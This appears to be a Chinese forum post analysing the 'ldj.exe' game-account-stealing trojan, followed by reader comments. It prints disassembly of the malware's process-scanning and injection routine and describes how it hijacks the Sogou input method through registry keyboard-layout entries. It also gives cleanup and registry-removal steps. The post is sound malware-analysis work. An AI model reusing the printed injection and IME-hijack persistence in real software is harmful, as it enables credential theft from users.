10009284 889D 90FAFFFF mov byte ptr [ebp-570], bl
1000928A 6A 40 push 40
1000928C 59 pop ecx
1000928D 33C0 xor eax, eax
1000928F 8DBD 91FAFFFF lea edi, dword ptr [ebp-56F]
10009295 F3:AB rep stos dword ptr es:[edi]
10009297 66:AB stos word ptr es:[edi]
10009299 AA stos byte ptr es:[edi]
1000929A 889D DCFCFFFF mov byte ptr [ebp-324], bl
100092A0 6A 40 push 40
100092A2 59 pop ecx
100092A3 33C0 xor eax, eax
100092A5 8DBD DDFCFFFF lea edi, dword ptr [ebp-323]
100092AB F3:AB rep stos dword ptr es:[edi]
100092AD 66:AB stos word ptr es:[edi]
100092AF AA stos byte ptr es:[edi]
100092B0 895D FC mov dword ptr [ebp-4], ebx
100092B3 399D 94FBFFFF cmp dword ptr [ebp-46C], ebx
100092B9 0F84 B2010000 je 10009471
100092BF 889D 88F8FFFF mov byte ptr [ebp-778], bl
100092C5 6A 40 push 40
100092C7 59 pop ecx
100092C8 33C0 xor eax, eax
100092CA 8DBD 89F8FFFF lea edi, dword ptr [ebp-777]
100092D0 F3:AB rep stos dword ptr es:[edi]
100092D2 66:AB stos word ptr es:[edi]
100092D4 AA stos byte ptr es:[edi]
100092D5 8D85 88F8FFFF lea eax, dword ptr [ebp-778]
100092DB 50 push eax
100092DC E8 6DFBFFFF call 10008E4E ; 步过
100092E1 59 pop ecx
100092E2 48 dec eax
100092E3 F7D8 neg eax
100092E5 1BC0 sbb eax, eax
100092E7 F7D8 neg eax
100092E9 8985 94FBFFFF mov dword ptr [ebp-46C], eax
100092EF 0F85 A3010000 jnz 10009498
100092F5 C685 80F6FFFF 6>mov byte ptr [ebp-980], 64 ; d
100092FC C685 81F6FFFF 7>mov byte ptr [ebp-97F], 73 ; s
10009303 C685 82F6FFFF 6>mov byte ptr [ebp-97E], 6F ; o
1000930A C685 83F6FFFF 7>mov byte ptr [ebp-97D], 75 ; u
10009311 C685 84F6FFFF 6>mov byte ptr [ebp-97C], 6E ; n
10009318 C685 85F6FFFF 6>mov byte ptr [ebp-97B], 64 ; d
1000931F C685 86F6FFFF 2>mov byte ptr [ebp-97A], 2E ; .
10009326 C685 87F6FFFF 6>mov byte ptr [ebp-979], 64 ; d
1000932D C685 88F6FFFF 6>mov byte ptr [ebp-978], 6C ; l
10009334 C685 89F6FFFF 6>mov byte ptr [ebp-977], 6C ; l
1000933B 889D 8AF6FFFF mov byte ptr [ebp-976], bl
10009341 8BCE mov ecx, esi
10009343 33C0 xor eax, eax
10009345 8DBD 8BF6FFFF lea edi, dword ptr [ebp-975]
1000934B F3:AB rep stos dword ptr es:[edi]
1000934D AA stos byte ptr es:[edi]
1000934E C685 84F7FFFF 6>mov byte ptr [ebp-87C], 64 ; d
10009355 C685 85F7FFFF 6>mov byte ptr [ebp-87B], 64 ; d
1000935C C685 86F7FFFF 7>mov byte ptr [ebp-87A], 72 ; r
10009363 C685 87F7FFFF 6>mov byte ptr [ebp-879], 61 ; a
1000936A C685 88F7FFFF 7>mov byte ptr [ebp-878], 77 ; w
10009371 C685 89F7FFFF 2>mov byte ptr [ebp-877], 2E ; .
10009378 C685 8AF7FFFF 6>mov byte ptr [ebp-876], 64 ; d
1000937F C685 8BF7FFFF 6>mov byte ptr [ebp-875], 6C ; l
10009386 C685 8CF7FFFF 6>mov byte ptr [ebp-874], 6C ; l
1000938D 889D 8DF7FFFF mov byte ptr [ebp-873], bl
10009393 8BCE mov ecx, esi
10009395 33C0 xor eax, eax
10009397 8DBD 8EF7FFFF lea edi, dword ptr [ebp-872]
1000939D F3:AB rep stos dword ptr es:[edi]
1000939F 66:AB stos word ptr es:[edi]
100093A1 C685 7CF5FFFF 6>mov byte ptr [ebp-A84], 63 ; c
100093A8 C685 7DF5FFFF 6>mov byte ptr [ebp-A83], 6F ; o
100093AF C685 7EF5FFFF 6>mov byte ptr [ebp-A82], 6D ; m
100093B6 C685 7FF5FFFF 7>mov byte ptr [ebp-A81], 72 ; r
100093BD C685 80F5FFFF 6>mov byte ptr [ebp-A80], 65 ; e
100093C4 C685 81F5FFFF 7>mov byte ptr [ebp-A7F], 73 ; s
100093CB C685 82F5FFFF 2>mov byte ptr [ebp-A7E], 2E ; .
100093D2 C685 83F5FFFF 6>mov byte ptr [ebp-A7D], 64 ; d
100093D9 C685 84F5FFFF 6>mov byte ptr [ebp-A7C], 6C ; l
100093E0 C685 85F5FFFF 6>mov byte ptr [ebp-A7B], 6C ; l
100093E7 889D 86F5FFFF mov byte ptr [ebp-A7A], bl
100093ED 8BCE mov ecx, esi
100093EF 33C0 xor eax, eax
100093F1 8DBD 87F5FFFF lea edi, dword ptr [ebp-A79]
100093F7 F3:AB rep stos dword ptr es:[edi]
100093F9 AA stos byte ptr es:[edi]
100093FA 8D85 88F8FFFF lea eax, dword ptr [ebp-778]
10009400 50 push eax
10009401 8D85 8CF9FFFF lea eax, dword ptr [ebp-674]
10009407 50 push eax
10009408 E8 C5190000 call <jmp.&MSVCRT.strcpy>
1000940D 8D85 88F8FFFF lea eax, dword ptr [ebp-778]
10009413 50 push eax
10009414 8D85 90FAFFFF lea eax, dword ptr [ebp-570]
1000941A 50 push eax
1000941B E8 B2190000 call <jmp.&MSVCRT.strcpy>
10009420 8D85 88F8FFFF lea eax, dword ptr [ebp-778]
10009426 50 push eax
10009427 8D85 DCFCFFFF lea eax, dword ptr [ebp-324]
1000942D 50 push eax
1000942E E8 9F190000 call <jmp.&MSVCRT.strcpy>
10009433 8D85 80F6FFFF lea eax, dword ptr [ebp-980]
10009439 50 push eax
1000943A 8D85 8CF9FFFF lea eax, dword ptr [ebp-674]
10009440 50 push eax
10009441 E8 80190000 call <jmp.&MSVCRT.strcat>
10009446 8D85 84F7FFFF lea eax, dword ptr [ebp-87C]
1000944C 50 push eax
1000944D 8D85 90FAFFFF lea eax, dword ptr [ebp-570]
10009453 50 push eax
10009454 E8 6D190000 call <jmp.&MSVCRT.strcat>
10009459 8D85 7CF5FFFF lea eax, dword ptr [ebp-A84]
1000945F 50 push eax
10009460 8D85 DCFCFFFF lea eax, dword ptr [ebp-324]
10009466 50 push eax
10009467 E8 5A190000 call <jmp.&MSVCRT.strcat>
1000946C 83C4 30 add esp, 30
1000946F EB 27 jmp short 10009498
10009471 8D85 8CF9FFFF lea eax, dword ptr [ebp-674]
10009477 50 push eax
10009478 E8 AAF9FFFF call 10008E27
1000947D 8D85 90FAFFFF lea eax, dword ptr [ebp-570]
10009483 50 push eax
10009484 E8 9EF9FFFF call 10008E27
10009489 8D85 DCFCFFFF lea eax, dword ptr [ebp-324]
1000948F 50 push eax
10009490 E8 92F9FFFF call 10008E27
10009495 83C4 0C add esp, 0C
10009498 8D85 E0FDFFFF lea eax, dword ptr [ebp-220]
1000949E 50 push eax
1000949F 8D85 9CFCFFFF lea eax, dword ptr [ebp-364]
100094A5 50 push eax
100094A6 E8 4EADFFFF call 100041F9 ; 判断进程中有没有ldjgame这个进程
100094AB 59 pop ecx
100094AC 59 pop ecx
100094AD 6A 0A push 0A
100094AF 8B3D B0300010 mov edi, dword ptr [<&KERNEL32.Sleep>] ; kernel32.Sleep
100094B5 FFD7 call edi
100094B7 8D85 E0FDFFFF lea eax, dword ptr [ebp-220]
100094BD 50 push eax
100094BE 68 703D0010 push 10003D70 ; ASCII "launch.exe"
100094C3 E8 31ADFFFF call 100041F9
100094C8 59 pop ecx
100094C9 59 pop ecx
100094CA 6A 0A push 0A
100094CC FFD7 call edi
100094CE 6A 0A push 0A
100094D0 FFD7 call edi
100094D2 6A 01 push 1
100094D4 8D85 E4FEFFFF lea eax, dword ptr [ebp-11C]
100094DA 50 push eax
100094DB E8 EF110000 call 1000A6CF ; 遍历进程，查找imeutil.exe
100094E0 6A 01 push 1
100094E2 8D85 98FBFFFF lea eax, dword ptr [ebp-468]
100094E8 50 push eax
100094E9 E8 E1110000 call 1000A6CF ; 遍历进程查找sgtool.exe
100094EE 83C4 10 add esp, 10
100094F1 68 E6030000 push 3E6
100094F6 FFD7 call edi
100094F8 ^ E9 B6FDFFFF jmp 100092B3
100094FD 6A 01 push 1
100094FF 58 pop eax
10009500 C3 retn
10009501 8B65 E8 mov esp, dword ptr [ebp-18]
10009504 834D FC FF or dword ptr [ebp-4], FFFFFFFF
10009508 33C0 xor eax, eax
1000950A 8B4D F0 mov ecx, dword ptr [ebp-10]
1000950D 64:890D 0000000>mov dword ptr fs:[0], ecx
10009514 5F pop edi
10009515 5E pop esi
10009516 5B pop ebx
10009517 C9 leave
10009518 C2 0400 retn 4




到call100041F9看看：

100041F9 55 push ebp
100041FA 8BEC mov ebp, esp
100041FC 81EC 68010000 sub esp, 168
10004202 8365 C0 00 and dword ptr [ebp-40], 0
10004206 8065 DC 00 and byte ptr [ebp-24], 0
1000420A 8065 EE 00 and byte ptr [ebp-12], 0
1000420E 8065 FD 00 and byte ptr [ebp-3], 0
10004212 53 push ebx
10004213 56 push esi
10004214 8B35 10310010 mov esi, dword ptr [<&KERNEL32.LoadL>; kernel32.LoadLibraryA
1000421A 8D45 C4 lea eax, dword ptr [ebp-3C]
1000421D 57 push edi
1000421E BB 40320010 mov ebx, 10003240 ; ASCII "Kernel32.dll"
10004223 50 push eax
10004224 53 push ebx
10004225 C645 C4 43 mov byte ptr [ebp-3C], 43
10004229 C645 C5 72 mov byte ptr [ebp-3B], 72
1000422D C645 C6 65 mov byte ptr [ebp-3A], 65
10004231 C645 C7 61 mov byte ptr [ebp-39], 61
10004235 C645 C8 74 mov byte ptr [ebp-38], 74
10004239 C645 C9 65 mov byte ptr [ebp-37], 65
1000423D C645 CA 54 mov byte ptr [ebp-36], 54
10004241 C645 CB 6F mov byte ptr [ebp-35], 6F
10004245 C645 CC 6F mov byte ptr [ebp-34], 6F
10004249 C645 CD 6C mov byte ptr [ebp-33], 6C
1000424D C645 CE 68 mov byte ptr [ebp-32], 68
10004251 C645 CF 65 mov byte ptr [ebp-31], 65
10004255 C645 D0 6C mov byte ptr [ebp-30], 6C
10004259 C645 D1 70 mov byte ptr [ebp-2F], 70
1000425D C645 D2 33 mov byte ptr [ebp-2E], 33
10004261 C645 D3 32 mov byte ptr [ebp-2D], 32
10004265 C645 D4 53 mov byte ptr [ebp-2C], 53
10004269 C645 D5 6E mov byte ptr [ebp-2B], 6E
1000426D C645 D6 61 mov byte ptr [ebp-2A], 61
10004271 C645 D7 70 mov byte ptr [ebp-29], 70
10004275 C645 D8 73 mov byte ptr [ebp-28], 73
10004279 C645 D9 68 mov byte ptr [ebp-27], 68
1000427D C645 DA 6F mov byte ptr [ebp-26], 6F
10004281 C645 DB 74 mov byte ptr [ebp-25], 74
10004285 C645 E0 50 mov byte ptr [ebp-20], 50
10004289 C645 E1 72 mov byte ptr [ebp-1F], 72
1000428D C645 E2 6F mov byte ptr [ebp-1E], 6F
10004291 C645 E3 63 mov byte ptr [ebp-1D], 63
10004295 C645 E4 65 mov byte ptr [ebp-1C], 65
10004299 C645 E5 73 mov byte ptr [ebp-1B], 73
1000429D C645 E6 73 mov byte ptr [ebp-1A], 73
100042A1 C645 E7 33 mov byte ptr [ebp-19], 33
100042A5 C645 E8 32 mov byte ptr [ebp-18], 32
100042A9 C645 E9 46 mov byte ptr [ebp-17], 46
100042AD C645 EA 69 mov byte ptr [ebp-16], 69
100042B1 C645 EB 72 mov byte ptr [ebp-15], 72
100042B5 C645 EC 73 mov byte ptr [ebp-14], 73
100042B9 C645 ED 74 mov byte ptr [ebp-13], 74
100042BD C645 F0 50 mov byte ptr [ebp-10], 50
100042C1 C645 F1 72 mov byte ptr [ebp-F], 72
100042C5 C645 F2 6F mov byte ptr [ebp-E], 6F
100042C9 C645 F3 63 mov byte ptr [ebp-D], 63
100042CD C645 F4 65 mov byte ptr [ebp-C], 65
100042D1 C645 F5 73 mov byte ptr [ebp-B], 73
100042D5 C645 F6 73 mov byte ptr [ebp-A], 73
100042D9 C645 F7 33 mov byte ptr [ebp-9], 33
100042DD C645 F8 32 mov byte ptr [ebp-8], 32
100042E1 C645 F9 4E mov byte ptr [ebp-7], 4E
100042E5 C645 FA 65 mov byte ptr [ebp-6], 65
100042E9 C645 FB 78 mov byte ptr [ebp-5], 78
100042ED C645 FC 74 mov byte ptr [ebp-4], 74
100042F1 FFD6 call esi
100042F3 8B3D 14310010 mov edi, dword ptr [<&KERNEL32.GetPr>; kernel32.GetProcAddress
100042F9 50 push eax
100042FA FFD7 call edi
100042FC 83E8 03 sub eax, 3
100042FF A3 C4110010 mov dword ptr [100011C4], eax
10004304 8D45 E0 lea eax, dword ptr [ebp-20]
10004307 50 push eax
10004308 53 push ebx
10004309 FFD6 call esi
1000430B 50 push eax
1000430C FFD7 call edi
1000430E 48 dec eax
1000430F 48 dec eax
10004310 A3 C8110010 mov dword ptr [100011C8], eax
10004315 8D45 F0 lea eax, dword ptr [ebp-10]
10004318 50 push eax
10004319 53 push ebx
1000431A FFD6 call esi
1000431C 50 push eax
1000431D FFD7 call edi
1000431F 83E8 03 sub eax, 3
10004322 33F6 xor esi, esi
10004324 A3 CC110010 mov dword ptr [100011CC], eax
10004329 A1 C4110010 mov eax, dword ptr [100011C4]
1000432E 3BC6 cmp eax, esi
10004330 74 09 je short 1000433B
10004332 56 push esi
10004333 6A 02 push 2
10004335 FFD0 call eax
10004337 8BF8 mov edi, eax
10004339 EB 03 jmp short 1000433E
1000433B 8B7D 08 mov edi, dword ptr [ebp+8]
1000433E 83FF FF cmp edi, -1
10004341 75 04 jnz short 10004347
10004343 33C0 xor eax, eax
10004345 EB 73 jmp short 100043BA
10004347 8D85 98FEFFFF lea eax, dword ptr [ebp-168]
1000434D C785 98FEFFFF 2>mov dword ptr [ebp-168], 128
10004357 50 push eax
10004358 57 push edi
10004359 FF15 C8110010 call dword ptr [100011C8] ; kernel32.7C864F53
1000435F 85C0 test eax, eax
10004361 74 4E je short 100043B1
10004363 8D85 BCFEFFFF lea eax, dword ptr [ebp-144]
10004369 50 push eax
1000436A FF75 08 push dword ptr [ebp+8] ; 判断进程中有没有ldjgame.exe
1000436D FF15 9C310010 call dword ptr [<&MSVCRT._stricmp>] ; msvcrt._stricmp
10004373 59 pop ecx
10004374 85C0 test eax, eax
10004376 59 pop ecx
10004377 75 23 jnz short 1000439C
10004379 FFB5 A0FEFFFF push dword ptr [ebp-160]
1000437F E8 80FDFFFF call 10004104
10004384 85C0 test eax, eax
10004386 59 pop ecx
10004387 75 10 jnz short 10004399
10004389 FF75 0C push dword ptr [ebp+C]
1000438C FFB5 A0FEFFFF push dword ptr [ebp-160]
10004392 E8 B8050000 call 1000494F ；实现注入和母体的注入方式一样，不再赘述
10004397 59 pop ecx
10004398 59 pop ecx
10004399 FF45 C0 inc dword ptr [ebp-40]
1000439C 8D85 98FEFFFF lea eax, dword ptr [ebp-168]
100043A2 50 push eax
100043A3 57 push edi
100043A4 FF15 CC110010 call dword ptr [100011CC] ; kernel32.7C8650C5
100043AA 85C0 test eax, eax
100043AC ^ 75 B5 jnz short 10004363
100043AE 8B75 C0 mov esi, dword ptr [ebp-40]
100043B1 57 push edi
100043B2 FF15 30310010 call dword ptr [<&KERNEL32.CloseHandl>; kernel32.CloseHandle
100043B8 8BC6 mov eax, esi
100043BA 5F pop edi
100043BB 5E pop esi
100043BC 5B pop ebx
100043BD C9 leave
100043BE C3 retn



总结一下：母体文件释放两个ocx文件，并将文件注入到explorer.exe中，通过创建进程gbvgbv31.exe来运行两个ocx文件

dbr99008.ocx文件主要是改输入法注册表，将其与输入法关联

dbr31004.ocx文件就是主要做坏事盗号了，主要是劫持搜狗输入法实现注入到进程中

要想清理的话，可以用xuetr结束掉explorer.exe中的dbr99008.ocx,dbr31004.ocx的线程，然后删除文件，gbvgbv31这个可以删，不影响

再就是删除注册表项
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layouts\E0200804 
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\E0200804 

[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layouts\E0200804]
Ime File = "DBR99008.OCX" 
Layout Text = "US" 
Layout File = "kbdus.dll" 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\E0200804]
Ime File = "DBR99008.OCX" 
Layout Text = "US" 
Layout File = "kbdus.dll" 
[HKEY_CURRENT_USER\Keyboard Layout\Preload]
2 = "E0200804" 


哎，分析第一次的时候，记录全部没有了，靠记忆分析的这些，悲催

mxlai · 发表于 2012-4-17 15:45

好东西哦

nar · 发表于 2011-8-25 12:05

木有VM分析起来木有压力啊，

huo123hjk · 发表于 2011-8-22 15:22

恩这个一定要顶

zhaokang · 发表于 2011-8-22 14:50

支持，学习..{:1_912:}

guxiaokang · 发表于 2011-8-20 23:06

牛人呀！

优利金旺 · 发表于 2012-4-18 21:51

分析精彩，学习了

小明无敌 · 发表于 2012-4-18 21:52

不懂额。。但是会写

帐号		自动登录	找回密码
密码			注册[Register]

[PC样本分析] ldj.exe的分析！附上部分专杀代码

免费评分

免费评分

个人中心